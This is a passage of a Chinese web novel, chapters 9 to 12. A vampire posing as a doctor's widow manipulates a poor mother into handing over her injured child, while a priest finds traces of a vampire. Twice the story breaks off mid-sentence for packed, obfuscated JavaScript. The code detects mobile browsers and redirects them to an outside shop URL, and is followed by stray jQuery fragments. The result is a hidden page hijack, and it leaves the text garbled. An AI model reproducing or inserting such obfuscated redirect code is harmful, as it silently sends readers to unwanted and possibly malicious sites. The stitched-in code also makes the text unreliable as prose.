那是一个衣着简单的女人,头发是瀑布般的深棕色,用一条深黄色纱巾随意松散地绑着。她身上没什么首饰,面色蜡黄,眼底有明显的青黑。
明显的平民打扮,四周离得近得贵族们登时像被传染瘟疫一样迅速散开了。
还有绅士非常愤怒地指责着大门徘徊地仆人,“是谁把她放进来的?!难道不知道有多少珍贵的大人正在这里么?!”
“托马斯夫人…..很抱歉在这种时候打扰您….但我真的有很重要的事情…..”
那女人惊慌失措看着向她扑来的仆人,又看向莱尔有些茫然的神情,捏紧手帕大喊道,“我是梅蜜 ·萨姆森,您可能没听过我的名字,可我确实在三天以前向哈维医生支付了诊金,为我生病的孩子!您不能就这样把我赶出去,我的孩子….我的孩子……”
“等等!”
一直把注意力放在这边的圣骑士长摆脱喋喋不休的贵族们,几步走了过来。那双蓝色瞳孔中透出的冰冷不禁让梅蜜打了个寒战。
“不好意思,那正是我哥哥死时的日子。请问那天发生过什么么?”
“我只是想让哈维医生去看看我意外受伤的孩子…..”梅蜜咬着颤抖的牙齿说,“可那天医生真的很忙,有三个病患等在门口。”
“我没有办法,只能提前支付了诊金,和医生约定等最后一个治疗结束后就来我家看看我的孩子。”
然而很显然,医生并没有履行约定,而是被妻子联合情夫用一杯毒酒送去了另一个世界。
当然,在场的除了莱尔以外,没有人知道这一事实。所以梅蜜也只能把这件事当成圣父降下的磨难,她体会托马斯夫人突然丧夫的不易,紧张又煎熬的等着,直到今早。
“虽然我很抱歉听到哈维医生的意外,可我真的没有办法了。医生明明已经答应了等晚上的手术结束后,就来我家看看我的孩子,可是居然发生了这样令人震惊的噩耗。等待三天是我的…不,是我孩子的极限了…..”
说着,梅蜜的眼眶迅速变红,声音里也带着闷闷的鼻音。
“我在今日冒昧打扰,只是想问问托马斯夫人,可否把我的诊金还给我?再拖下去,我的孩子恐怕无法撑到我们寻找下一位医生了…..而且我们也真的无法在短时间内拿出第二份诊金了…那可是足足5枚圣金币…..”
5枚圣金币对已故的哈维来说根本不算什么,但对于只穿着最普通的亚麻长裙的梅蜜来说,却是家中的全部积蓄。
而且,如果眼前这位尊贵的夫人打定主意赖账,她几乎没有任何可以反抗的办法。
所以,这位孤注一掷的母亲看上去相当不安。
尤其是把话说出来后的现在,她紧紧攥着裙边,仿佛被拉上审判台的罪犯,在紧张与惶恐中等待着宣判。
没想到下一刻,一道温和的声音响了起来。
“请放心,”莱尔轻柔地说,“哈维的每笔帐都有详细记录,如果这件事是真的,我不会赖掉不属于我们的金币。”
听见这话,梅蜜终于松了口气,表情也明亮了一点。
“不过,”那位已故名医的遗孀很随意的问了一句,“能否告诉我你的孩子得了什么病?”
“是右手,”一提到可怜的孩子,梅蜜哽咽了,“那天她只是被橡树上的鸟窝吸引了,所以才会意外坠落。我可怜的露比…..”
她终于忍不住哭了起来,“她的手腕肿的像长尾猴的屁股,一开始还是红的,这两天却越来越紫….而且她的手指无论如何都无法回归到正常的弧度….那可怕的弯曲像是要把她的命夺走了!”
“噢…..”人群中因为梅蜜的话涌起一阵阵骚乱,贵族们散得更远了,连刚刚要把梅蜜丢出去的仆人们也不敢上前。
因为他们都被露比的疾病吓到了,生怕离这位母亲近一些就会被传染。
而莱尔望着悲痛的梅蜜只觉得惊喜——她还在犹豫如何将重开诊所的计划操练起来,这就有一个现成的、送上门的机会。
当然,她也很清楚梅蜜为什么说那些弯折的手指会把孩子的生命夺走了,在医疗技术不发达的时代,一场感冒、一次感染,都有可能彻底摧毁任何一个普通人类。
“我对露比小姐所经历的一切感到非常痛惜,”莱尔眼底迅速堆积出水汽,感同身受似的轻轻拍了拍梅蜜的手背,“可怜的孩子,她一定非常害怕。不过请不要担心,我和我的丈夫对于露比这样的伤势有一套非常精准的治疗方式——是的,我们俩曾共同研究实践过,并且成功率相当高。”
“如果可以,如果您信任哈维诊所的话,我可以替我的丈夫去看一看,类似的伤势我不知道帮忙处理过多少次了。我对此很是熟练。”
此话一出,周遭瞬间安静了下来。
维格和安东尼倏然看了过来,而其他一直偷偷关注这边的人们,包括梅蜜在内,全都像看傻子一样看着莱尔。
脸上的表情明晃晃透出两个字:就你???
10. 第 10 章
周遭毫不意外响起低低的嘲讽声。
不过鉴于圣骑士长,这些声音始终压抑在一个不会被人听清的范围。
只是投射过来的眼神就露骨很多了。
“呃…..虽然您是哈维医生的妻子…..”梅蜜尴尬地搓着小臂,“但我听说您的身体也不太好,就不必劳烦您了。我们可以去找其他医生,中央城里还有不少口碑不错的医生。”
就是收费通常都非常贵,而且排队很难。
梅蜜露出落寞的神情,没办法,在索拉菲索大陆,想要成为一名医生并开设属于自己的诊所,必须具有小修道院盖章的开设诊所资格证。
这一证件并非考察医生的技术,而是考察医生的人际关系——所有申请人都必须有一名推荐者。
当然,籍籍无名都推荐者肯定不行。必须是小修道院里的修士们承认的身份才有资格被写上名字。
而这就造成了使用圣金币开道拉拢推荐者的医生非常多。
再加上诊所必备的圣药剂——那可是诊所里最昂贵的东西,没有之一——导致诊金水涨船高。
如果不是女儿的手指伤的实在太可怕了,否则梅蜜是绝对不会来找医生的。
平时一些小毛病,她们都是喝点露水洗洗肚子就可以了。
其他平民也都是这样干的,所以除了那些声名显赫的医生以外,其他许多医生的收入根本无法覆盖他们的生活。
于是,为了贴补家用,小医生们转而干起另一种同样需要经常使用刀具的职业——理发匠。
就像德拉米特,梅蜜想到自己早上焦急寻找来的那位主业医生、兼职理发师的人就感觉胸口一阵阵痉挛。
德拉米特看过露比后,只给出了一种疗法。
“夫人,必须立刻切掉露比小姐的手腕才行!否则她手指的畸形会传染到每一寸肢体上的!到那时露比小姐一定会被修道院当成邪灵抓起来就地烧死的!”
他说:“断了一只手总比丢了命强吧?只需要80个圣银币,我就能把露比小姐的手腕整齐切下来,并且保住她的命!”
梅蜜丝毫不怀疑理发师话语的真实性,然而她宁愿去乞求德拉米特,也不愿意选择眼前这个看上去一阵风就能吹倒的女人。
托马斯夫人身体虚弱的事人尽皆知,瞧她脸色白的都比刚躺进去的哈维医生更像死人了,梅蜜怎么还会信任她?
莱尔叹息一声,关切地望着梅蜜的眼睛,“您不信任我也没关系,那么,您有信任的、可以立刻帮上忙的人选吗?毕竟您是我丈夫的患者,我必须确保您的孩子能够得到足够好的治疗。”
是非常负责任的夫人啊…..梅蜜下意识躲闪着那双过于黑沉的瞳孔,踌躇着点了点头,“在白帽子街,有一位很受尊敬的德拉米特·波尔夫先生,他的条锯用的和剪刀一样好….他承诺会治疗好露比……”
条锯?
莱尔眯了眯眼,立刻反应过来什么。
她佯装惊讶地捂住嘴,“什么?可听您的描述,应该只是很小的伤势,只需要几个圣小时就可以解决,怎么会需要用到条锯…..”
对上梅蜜瞬间瞪大的眼睛,莱尔迅速移开目光,露出惋惜的样子,“哦抱歉,梅蜜女士,是我多嘴了。毕竟露比是您的孩子,我不该参与您的决定。只是…..哎…..您放心,今天晚上我就会亲自带着诊金登门偿还。”
“不,不不不,请等一下!”
果然,梅蜜一听见“很小的伤势”这句话,登时像饿急了母狮一样抛掉了所有理智,一口咬上了血族抛出的诱饵,“请等一下,托马斯夫人!您刚刚、您刚刚说…..的….是真的吗?我女儿的手真的只需要几天就能治疗好,不需要、不需要截肢吗?”
莱尔这时才慢条斯理抬起眼,不急不缓地问道,“在那之前,请容许我冒昧问一下,露比的身体是否已经变得热了?脸上开始微微发红,偶尔呕吐,并伴有意识不清的症状?”
梅蜜死死抓着裙摆,“是、是的!不过还没有您说的那么严重。她是从昨晚上开始变得烫烫的,无论用多少冷水擦洗都无法降温。呕吐…确实吐过,但只有一次,意识不清倒没有,只是今早她睡不醒似的老是说胡话…..”
“原来是这样。”莱尔凝重地点头,她询问的都是和发炎感染有关的症状。
这是反应在体表比较明显的状态,也是最快评估伤患目前状态的最重要的几个症状。
还好,如果梅蜜描述属实,那么露比的伤势应该还没有到无法挽回的地步。
至于手指弯曲,是骨折、骨裂、挫伤抑或脱臼,必须当面进行诊断才可以。
无论是哪种,只要能让她当面见到病患,她就有把握把人从同行那里抢过来。
挥舞条锯的断肢医生哪有吸血鬼医生好呢?
她只想喝点血,理发师可是想要露比的右手啊。
至于最后究竟要不要截肢——最后的事当然留到最后再说,无论如何,先把人抢过来才是最重要的。
“为什么会这样呢?”简单几句话,梅蜜已经完全被莱尔掌控了全部节奏,她盯着虚空,哆嗦着呢喃,“为什么会变成这样?”
“亲爱的梅蜜,请不要着急。”对于如何安抚六神无主的家属,常年混迹于急诊的莱尔早已信手拈来。
她调整着自己的语调,让声音平和且富有力量的传进梅蜜耳中,“露比小姐只是摔伤后伤口长时间暴露在空气中,且伤口里必定有很多碎石子或沙土泥巴之类的东西,没有及时清理。这才造成伤口被细菌…..”
说到这,莱尔忽的一顿。
细菌是完全现代化的词,这个世界的人绝对不可能听说过,包括哈维,她也没法解释自己是如何知道的。
成为血族已经很让人恼火了,她可不想再被扣上一顶“女巫”的帽子。
“什么?”没听见接下来的内容,梅蜜着急地上前一步追问,“您说的一点都没错,她腿上的伤口确实有很多脏东西,我敢不碰,只能那样放着。所以伤口是被什么东西玷污了吗?细什么?什么细?”
微风吹过,空气中传来飞鸟震翅的声音,几只长着刚毛和螯足的虫子爬过分新鲜的坟墓。
莱尔深深看着面前的女人,树影斑驳间,圣洁的十字架就树立在不远的地方。
她忽然福至心灵地说道,“当然是被那让人厌恶恼火的黑暗力量侵入玷污了,黑暗的力量渗透进伤口,这才导致露比的情况越来越差。如果不尽快处理,露比的确很快就会堕入深渊。但我想我们总能想出办法的,虔诚的子民一定会得到庇佑,不是吗?”
“什、什么?!”梅蜜两眼一翻就要晕。
果然,一直在旁边偷听等着看笑话的人们瞬间倒吸一口凉气,安东尼神父更是忍不住向前一步。
“原来是黑暗力量!”被宗教彻底洗脑的人群发出惊呼。
“怪不得之前我的邻居只是不小心被镰刀割伤了腿,一礼拜后居然死掉了!原来是被黑暗侵蚀了!”
“我就知道!我的奶奶肯定不是因为吃了八天前的粟米汤死去的!她是被深渊的魔鬼带走了!”
“大主教说的果然没错!邪恶依然在我们身边伺机而动!”
骚动海浪似的向周围扩散,越来越多的人都露出恐慌的表情。
露比不是第一个因为摔伤出事的,人们多多少少都听说过,或是亲眼见证过身边的谁被摔伤夺走了生命。
他们此前一直都不太理解,怎么一个小小的伤口,就能让人再也醒不过来了呢?
修道院里的牧师对此的说法是:“他们惹怒了圣父,他们的信仰从不真诚,因此招致灾祸。”
但这个说法有的人信,有的人却不是很信。因为信仰真诚与否,身边的人是最了解的。
而现在,莱尔所描述的“被黑暗入侵”就更容易获得认同。
望着那一张张明显被说服,并且还频频朝她投射恍然大悟目光的人们,莱尔眼底快速闪过黑红色的火焰。
果然是这样。
比起更改他们的脑子,传授他们知识,帮他们认识科学之类伟大的事,还是借着“神”的外衣狐假虎威让他们在愚蠢中彻底堕落下去更合适一点。
毕竟莱尔不是来当领主搞基建、让人类生活得更好的。
她是来求生的,这里有一个算一个,全都是她的敌人。
以及食物。
食物越呆板愚蠢,就容易被欺骗然后抓住。
她必须摒弃掉那些所谓的善良与拯救之心,端正自己的态度——这里的“人类”不是她认知中的同类,这个世界也并不是真实的。
这只是一个装满两脚羊的游戏世界。
莱尔第一次从手足无措中找到了某种拨弄事件发展方向的方式,就像一个生疏的车夫,被烈马颠起来几次后终于握紧了缰绳。
马儿开始乖顺,车辆行驶方向开始稳定。
吸血鬼头一次仰起头颅,在人群中央露出微笑。
她看着自己送上门的梅蜜,就像看这一块香香软软的牛奶甜冻。
“不过别担心,我们一定能想出办法拯救您的孩子。”已故名医的遗孀用一句话,就拽回了快要晕倒的母亲的理智,以及所有人的注意力,“我和我的丈夫曾共同研究过针对类似状况的治疗方式,而且成功过很多次。如果你相信我,那就请给我一个机会。”
听见这句话,梅蜜不晕了,眼也不翻了。连后面的维格都忍不住露出意外的神情。
更别提才被震惊过的围观人群。
这次他们望向莱尔的目光,虽然依旧保持怀疑,可信任却增加了。有不少人甚至还频频点头,发表见解,“就是嘛!哈维医生那么厉害的人,他的妻子会差到哪里去呢?”
“您刚刚说….您和哈维医生共同研究?”梅蜜梅蜜纠结又踌躇地绞着手,“难道您….您….”
“是的,”莱尔平静的开始编,“我和哈维结婚三年,他把所会的一切都教给了我。我们不仅共同探讨研究治疗方式,还曾一起改进过很多工具。只是我身体不好,平时很不喜欢见人,所以一直没有人知道罢了。”
“如果你同意让我去看一看,我可以在此地——在修道院的见证下向你承诺,如果我不能将露比的生命挽救回来,不止那5枚圣金币,我还会额外赔付你十倍的价钱以安抚你失去女儿右手的悲痛。”
梅蜜灰暗的脸,亮了。
她呼吸急促,难以置信,“十、十倍?!你认真的?!”
“这里每个人都可以成为我们的见证。”莱尔似笑非笑地扫过骚动的人群,继续道,“当然,如果我能把露比治好,我同样也会归还你的诊金。毕竟是因为我的丈夫出了意外才导致露比遭受了更多苦难,这一次。我愿意无偿治疗。”
这句话比刚刚那句话更具杀伤力。
无偿治疗!多么陌生的词语!就算是修道院里的驴子,在工作完后都会得到两把秸秆作为报酬!
而名医的遗孀,居然不肯不收钱!要知道除开那些只喜欢截肢的理发师,那些真正能够挽救人类生命的医生之所以地位尊崇收费昂贵,不完全是因为他们所掌握的“医术”,还因为只有他们拥有修道院生产的神圣药剂。
那可是有钱都买不到的好东西,修道院对此的把控堪称严厉至极。
多少普通平民直到死亡来临都无法触碰一次。
至少眼前这位托马斯夫人一定拥有那样的药剂。
梅蜜的心理防线被击溃了,她犹犹豫豫地同意了这件事,然后急切
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17081186|195318||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的想要莱尔前往她的家。
可刚刚还极尽真诚想要获得治疗机会的莱尔却在此刻毫不犹豫拒绝了。
她温柔望向被树影包裹的墓碑,语气中是浓得化不开的爱意,“我想再陪陪他。”直至天黑下来。
否则现在天光大亮时走出去,求生游戏直接GG。
梅蜜惊愕,梅蜜愤怒,可梅蜜什么都做不了——5枚圣金币还在那人手上。
没办法,可怜的母亲只能留下地址,一步三回头的先行离开。
热闹看完,一些人也陆陆续续离开。他们新观赏到的消息迅速冲淡了哈维医生的死。来时萦绕的悲伤不复存在,每个走出磨房森林的人脸上都洋溢着八卦的激动。
莱尔收回目光,安安静静矗立在距离墓碑不远的地方。
今天的森林似乎格外繁茂,一丝阳光都没有落下。她肩头、发间只有纱幔一般的阴影。那浅淡的黑衬的她的皮肤更加苍白,显现出一种令人担忧的病弱来。
“彭格列子爵在备修道院里准备了一个小型告别宴会,”这时已经查验完梅蜜话语真实性的维格走了过来,低声开口,“你应该去吃点东西,温暖的热蜂蜜酒会让你不那么难受。”
“不了,谢谢。”莱尔没有回头,声音里的柔情无论是谁听了都会感动,“哈维才刚刚到这里,我怕他一个人会害怕。”
“我没想到你和哥哥的感情居然深到这种地步,”维格缓缓说道,“哥哥连治疗术都教给了你。”
“是啊,”莱尔不明白别人都走了,这货还呆在这里干什么,她维持着爱夫的人设,温柔地点头,“我们如同一体。”
“所以这就是你不想把圣药剂交出去的原因?”
莱尔呼吸停顿了一瞬,随后慢慢转身,深深叹了口气,“抱歉,维格,虽然你并不相信我,但我确实还没来得及把药剂找出来。”
说到这,吸血鬼让自己的目光变得悠远,似乎透过维格看着什么人一样。
“况且,无论如何,请相信我,我不会做任何对诊所有害的事。那间诊所是哈维全部的心血,他热爱诊所的一切胜过热爱自己的生命。他时常告诉我,‘神赋予了我们帮助世人的能力,那么我们就要做到最好。‘”
“拯救那些可怜的生命一直都是他最大的愿望,现在他不在了,我想,这件事也变成了我存在的意义。”
风轻轻拂过树梢,树影婆娑间,女人毫无血色的脸上满是对亡夫的眷恋。她的目光那么深,那么沉,所透出情绪的重量足以让最冷血的生物动容。
是的,维格将目光落到新垒砌的墓碑上,眼前仿佛再次看见那个会偷偷拿着蜂蜜甜糕,冒着被抓住毒打一顿的风险也要溜进修道院看一眼他的人。
“哥哥……”
圣骑士长的眼睛垂了下来,目光晦暗深沉。
“噢我的圣父啊…..”不远处的老牧师被深深触动了,他忍不住用唱歌的音调感慨道,“真是令人感动的爱情啊!所以夫人,这就是您想去看看露比的原因?您是打算….”
“是的,”莱尔拂去眼角的泪水,“我打算重开哈维的诊所。只是我不知道…..牧师先生,如果我能治愈露比,我是否就拥有了这样的资格?”
老安东尼瞟了一眼圣骑士长脸上的表情,立刻点头,“是的,只要您有推荐人,并拥有完整的治愈经验,就可以向小修道院负责审核的修士提交申请。而且您别忘了….”
牧师忽然朝莱尔挤了挤眼睛,放低声音,“我曾承诺过给您三天的时间,如果您能在这期间成功拿到资格证,那么那些哈维医生留下的药剂理应归属于您了。我想,您一定不想要哈维医生的东西离开自己身边吧?”
莱尔用手帕轻轻掩住嘴唇做感动状,“当然,实在是太感谢您了。”
就在这时,一只圣鸽突然盘旋落到了维格面前。
维格张开手掌,白纸折成的鸽子自动摊开一只翅膀,流转的淡金色文字清晰明了地展现在眼前。
“是大主教。”
前方的吸血鬼立刻竖起耳朵,“嗯?”
“我必须去一趟圣修道院述职,”维格的声音听不清喜怒哀乐,他平静地折好圣鸽,抬眼看向眼前的人,“露比只有12岁,虽然常年帮助家里做工让她拥有了一具体质不错的身躯。但她毕竟还处在一个‘孩子’的范畴,对疼痛的抵御能力并不强。如果可以,请等我回来,由我来控制住她,会省去很多麻烦事。”
12岁,好新鲜的孩子。
吸血鬼的胃开始发痒,她咽下涌起的口水,用手帕轻轻掩住嘴唇,欣喜地望向维格,“你同意了!”
“是的,”维格依然凝望着墓碑的方向,“所以请去做你想做的事情吧,我想,这也是哥哥所期望的。”
最爱的人继承了他最在意的诊所,哥哥一定会在地底因为欣慰而喜极而泣的吧?
“如果你真的能能够治愈露比,那么我会成为你的推荐人。”
伴随着圣骑士长的离开,其他人也没有继续呆下去的理由——毕竟谁也没兴趣面对一脸哀伤的寡妇,还是推杯换盏的宴会更适合他们。
现在已经临近午时,每个人的肚子都饿的扁扁的。
很快,整座磨坊森林便彻底安静下来。
风将浓密的树叶拨弄得哗啦哗啦响,灰背鼠刚从树下小坑中探出脑袋,就感受到一道危险的视线落在自己身上,像苍鹰,又像是蛇。
灰背鼠浑身的毛都炸开了,它来不及去看是什么怪物盯上了它,连滚带爬窜回了自己的小洞。
莱尔盯着老鼠洞口扬起的细小烟尘,手指轻轻抚过弯起的嘴唇。
新鲜的孩子啊,再等一等,等太阳落山,等黑夜降临。
来自血族的医生将治愈你的一切病痛。
11. 第 11 章
安东尼牧师是被强行叫起来的。
最初,他还有些迷茫,年岁带来的迟钝让他反应了好一会儿,才借着昏黄的光看清眼前两张灰暗焦急的脸。
“安东尼!老天!圣父!求求你快醒醒吧!安东尼!”
“….是,噢….我醒了,好了好的,把你的手放下,我醒了,不要对人使用暴力。”
老牧师颤颤巍巍咳嗽两声,又揉了揉痛麻的膝盖,才长叹了一口气说,“现在谁能告诉我,小修道院尊贵的修士们为什么突然来到这儿?难不成宴会上烤孔雀的香味已经飘至半个城镇了?”
“才不是!”其中一名灰袍修士跑过去点燃几支白蜡,当烛光在安东尼眼前摇晃起来时,他才发现,窗外已经变成了一片绚烂的金色。
夕阳如软剑般刺破或黑或红的天空,在飘渺的云隙里投射出不甚明亮光。
原来已经这个时间了,老牧师揉了揉眉心,他从葬礼结束的午时一直睡到了天幕将黑之际。
“安东尼!”瞧他又在走神,灰袍修士不得不提高嗓音,“我在问你,哈维·托马斯的尸体是否是由你来查验的?!”
像是捕捉到了什么关键词语,老牧师终于回过了神,“是我,怎么了?”
两名修士互相对视一眼,其中一人立刻起身又去点上更多蜡烛。
随着房间内愈发明亮,安东尼终于后知后觉意识到空气中弥漫的焦躁与不安,修士们诡异的沉默更是如同可怕的暴风雨前奏。
更重要的是,为什么他的房间里会有修士进来?
修士只存在于小修道院与圣修道院内,和只负责传播圣主福音、主持洗礼、提供净化罪恶操作的牧师不同,修士们是圣廷真正的工蜂,负责整个中央城的运转及所有政务。
即使被分成很不同的官署区,可他们每个人手里都握有权利,常常眼高于顶,为什么会突然闯入自己的房间?
很快,其中一名修士就给出了答案。
“安东尼,你应该知道每隔三个圣天,小修道院就会排查一次监视圣鸽所记录的内容吧?这次,我们发现了点很奇怪的东西——刚巧和哈维·托马斯有关。”
话音刚落,修士便从腰间的内袋里拿出两只洁白的纸鸽。
如果莱尔在这里,就能发现这两只纸做的鸽子和维格放飞的那只一模一样。
当然,安东尼比莱尔要懂得更多,他了解这种被神祝福过的圣鸽除了传信以外,如果圣廷需要,还会额外添加一个新的能力——那双由圣祷言构筑的“眼睛”,能观看并记录下视角内的一切情景。
每只圣鸽都能保存“记忆”三个圣天的时间,圣廷用这些不易察觉的小东西监视整个中央城。
不过这和哈维医生有什么关系?
修士们打来一盆清水,随后将其中一只圣鸽放了进去。
很快,水面融化了纸张,黑色的文字沉进深处。
随着波纹晃动,文字逐渐演变成一幅晃动扭曲的画面,画面里是安东尼熟悉的蓝天和日光,还有从高空俯瞰视角下恢弘壮丽的小修道院。
只是波纹中的小修道院似乎….有点过于安静了,连平时站岗的十字军都看不见一个。
安东尼刚想询问,却忽然发现极速抬起的视角边缘,忽然闪过一道不易察觉的金色。
那是…..一个人?一个从小修道院边缘窗户里翻出来的人?!
安东尼“腾”一下从床上站了起来,但很快被修士冷漠的手按了回去。
“还没完,你继续看这只。”
第二只圣鸽被放进另一盆清水里,那是一幅同样的日光灿烂,依稀可见的房屋和青石板路让安东尼茫然。
不过这种茫然只存在了短短一瞬,下一刻快速飞过的目光内陡然出现一抹同样的金。
巧合的是,这次金发是从屋外翻进屋内,即使那栋房屋只出现短短一瞬,但才刚刚去过的安东尼立刻认出那是哪里。
“灰鸽子街托马斯家!”
“就是这样,”拿出圣鸽的修士目光如炬般紧盯着他,“就在昨日,小修道院内丢失了一瓶腐化水——你知道那是做什么的,为了查清小偷的身份,我们紧急排查了所有‘眼睛’,于是发现了这可怕的一幕——偷走腐化水的金头发小偷,于当天溜进了哈维·托马斯家。所以我们想问问……”
另一名修士将手按在桌面,逼近安东尼,“你检查尸体的时候,有没有什么奇怪的地方?安东尼,我希望你能明白,这是圣骑士长的亲哥哥,整个圣廷也才只有二十位圣骑士长,每一位都是从地狱烈火中战出来的传奇。”
“所以我们,哦不,你,安东尼,如果哈维医生的死有问题,你能否承担得住一位圣骑士长的怒火?”
声音放佛在这一刻彻底远去,望着清水内不断循环播放的景象,回想起查看尸体时维格奇怪的反应,终于意识到什么的安东尼刷一下白了脸。
“腐化水…..腐化水……这怎么、怎么可能呢…..维格..维格在哪里!”
修士们同时摊开手,“我们也不知道,这件事我们无法直接通知。安东尼,这是你的责任。”
安东尼一愣,旋即被巨大的恐慌吞没了。他匆匆套上长袍外套后就朝外冲去。
必须尽快找到维格通知他这件事!
否则耽误到维格自己查清….安东尼狠狠抖了一下!
落日余晖带着温暖的橘红色铺散于穹顶之上,几只振翅的白鸽盘旋于天际。
再等一等。
莱尔百无聊赖地低下头,借着阴影和头发的遮挡摸了摸额头上的灼伤。
为了扮演一个彻底心死的女人,也为了不引起任何人的注意,她已经一动不动沉默站在这里整整一天了。直至黄昏降临,她的饱食度也掉到了57。
新生的血族不受控制舔了舔牙,饥饿像个破洞似的攀附在身体之上。
再等等。
浅白的月亮已经升起,只要再等上那么一会儿,太阳就会彻底消失在地平线上,用骤然熄灭的光迎接她无比挚爱黑暗。
到时候一切就会解决。新鲜的孩子会被送到她的家里,温热的人类血液很快就能填满胃部。
可就在这个时候,莱尔突然听见几道声音。
她扭头转向修道院,安东尼正急匆匆从里面跑出来。他焦急地跟碰到的人询问,遥远的声音断断续续传进耳朵。
“圣骑士长大人在哪里?什么?走了?还没有回来么?圣父啊!哦等等….托马斯夫人在哪里?什么?不知道?”
莱尔被树冠落下的阴影遮挡,再加上哈维的墓并不在墓地边缘,所以如果不是特意走过来看,并不会发现这里其实还站了一个人。
而且谁也不会想到会真有那么傻的妻子,只为纪念亡夫就在墓碑前站上一整天的时间。
不过发生了什么事,能让安东尼露出那种表情?
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17081187|195318||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
莱尔其实可以出声喊上那么一句,可牧师的状态让她紧张。
如果真有什么亟待解决的意外,如果牧师给了她一个必须离开墓地的理由,她该怎么办?太阳没彻底落山,她就绝不能走出去。
所以,血族在原地保持安静,目送安东尼朝她马车的方向冲了过去。
安东尼确实很急,毕竟尸体是他检查的,葬礼时间是他定下来的,他是第一负责人啊!
不过像是连圣父都在惩罚自己的玩忽职守一样,这种节骨眼上维格居然还在圣修道院没回来!
那是索拉菲索大陆最为神圣之地,如果没被邀请,他万万没有资格踏上去一步。
那么——安东尼迅速决定——找到另一个值得信任的人也是一样的!
那就是深爱着哈维医生的托马斯夫人!令圣父也感动的爱情是最为坚贞的,托马斯夫人一定能把这件重要的事带给维格。
到时候就算真出了什么事,也有倒霉的托马斯夫人帮他分担一半骑士长的怒火!
安东尼环视一圈,瞬间转去森林外侧的马车停靠站。
他开始祈祷托马斯夫人的马车还没有离开,如果车还在,那就证明夫人仍然徘徊于此。
幸运的是,等他穿过小花园,立刻就看见了百无聊赖的鸢尾花车夫正在打扫车舱。
“谢天谢地!”安东尼停下快速的奔走,深吸一口气靠近,“你好,请问托马斯夫人在附近吗?”
“什么?”车夫回头看见来人,老实又尊敬地摇摇头,“没有,夫人一直都没来呢!您瞧,我已经把坐垫都擦干净了,就是一直在等她。”
“怎么会这样?”安东尼焦躁的在原地转圈。
“您很急吗?”车夫观察着牧师的表情说,“不用担心的大人,夫人还没出来,就肯定还在墓地周围的。她深爱着哈维医生,一定不愿就此离去。”
“你说的对呀!”安东尼眼睛亮了一下,反正托马斯夫人还未离开,那么只有修道院内和墓地两处地方可以去。
既然自己没有在修道院里看见她,就只剩下墓地了。
可怜的女人,不会这个时间了,还依然固执地陪伴在已死的丈夫的墓前吧?
安东尼顿时被感动的一塌糊涂,他微笑着向车夫挥手,打算告别后就离开。
可就在这时,他的眼角余光忽然捕捉到了某处奇怪的地方。
心中泛起的古怪感让牧师下意识停下动作,转而走近车舱,眯起眼睛仔细看着脚踩板上的一个小坑洞。
车夫莫名其妙地注视着这一切,“怎么了,安东尼牧师?哦这个,可能只是老鼠啃出来,不必在意,我马上就能补好。”
不。
安东尼用手指仔细摩挲过小洞周围,木制材料已经融化发黑了,就像被火烧过,又像被什么东西狠狠烫过。
而小洞边缘的部分,还残留着不易被发现的、干涸的血垢凝结。
他脸上的表情变得沉默又惊骇,这不是老鼠能啃出来的,老鼠的牙齿不会对木头造成腐蚀的效果。
甚至在这个世界上,他只知道一种种族的血能腐蚀周遭——
血族。
只有血族的血拥有腐蚀效果,就像针对阳光的灼伤一样,血族的血对人类来说同样是一种能造成类似伤害的武器。
他“倏然”一下扭过头,向沐浴在黄昏光照中的车夫确认,“这辆车最近都坐过什么人?”
12. 第 12 章
黄昏照耀间,老牧师脸上的表情异常骇人。
有血族出现了,他必须尽快通知其他神职人员——对了,还有两名修士在这里,完全能够将所有和这辆马车有关的人员控制起来逐一排查!
车夫被吓了一跳,他手无足措的开始回忆,“最近?最近没没什么人啊坐过啊…..只有哈维大人和夫人,还有巴罗·史蒂芬、奥利尔 ·弗格森、杰夫·布卢尔、乔 ·彭斯、达伦 ·伯纳尔、贾斯丁 ·约翰尼、纳….”
安东尼:?
安东尼:“不不不,你稍等一下。”明明是如此危及紧迫的关头,老牧师却离奇的陷入茫然。
“为什么会有这么多人?”
“这不算多啦,你是大人,”车夫赔着笑,小心翼翼掰着手指头,“这些都是哈维诊所的病人啊,很多人离开时根本连直起身体都做不到的。”
“就像巴罗先生,三次灌肠让他的下半身都失去了知觉,只能跪在马车里被我送回去。还有奥利尔先生,为了治疗他钟爱同性这一精神诅咒,他的头颅被哈维医生用环钻洞开了好几个孔,只有我能把他好好抬回去。还有…..”
“好了可以了,”安东尼似乎受到了极大冲击,面容僵硬地说,“所以….这辆马车在最近两个圣月里拉过很多人?”
“也不多,毕竟有一部分高贵的客人是乘坐自家马车来的。但是,”车夫憨厚地揉着后脑勺,又带着些许骄傲地道,“哈维医生非常信任我的技术!毕竟只有我的车才能避开绝大多数颠簸。所以如果您想知道最近两个圣月的话…..大概有二十三、四位客人都乘坐过我的车。不过具体人数您还是得问问哈….得问问夫人,只有她手里有每一位客人的详细看诊信息。”
安东尼的脸,青了。
二、二十多个人?!这要怎样一击必杀,在同一时间将所有人全部控制起来?!
沉稳和经验让老牧师立刻意识到,之前的想法绝对行不通。通知所有神职人员,大张旗鼓去逮捕有可能存在的吸血鬼,这简直就像一场巨大的笑话——
拜托,吸血鬼又不是没长腿,心甘情愿等待着他们扑过去。
更何况这么多人的围猎对所需神职人员的数量也是一个巨大考验。
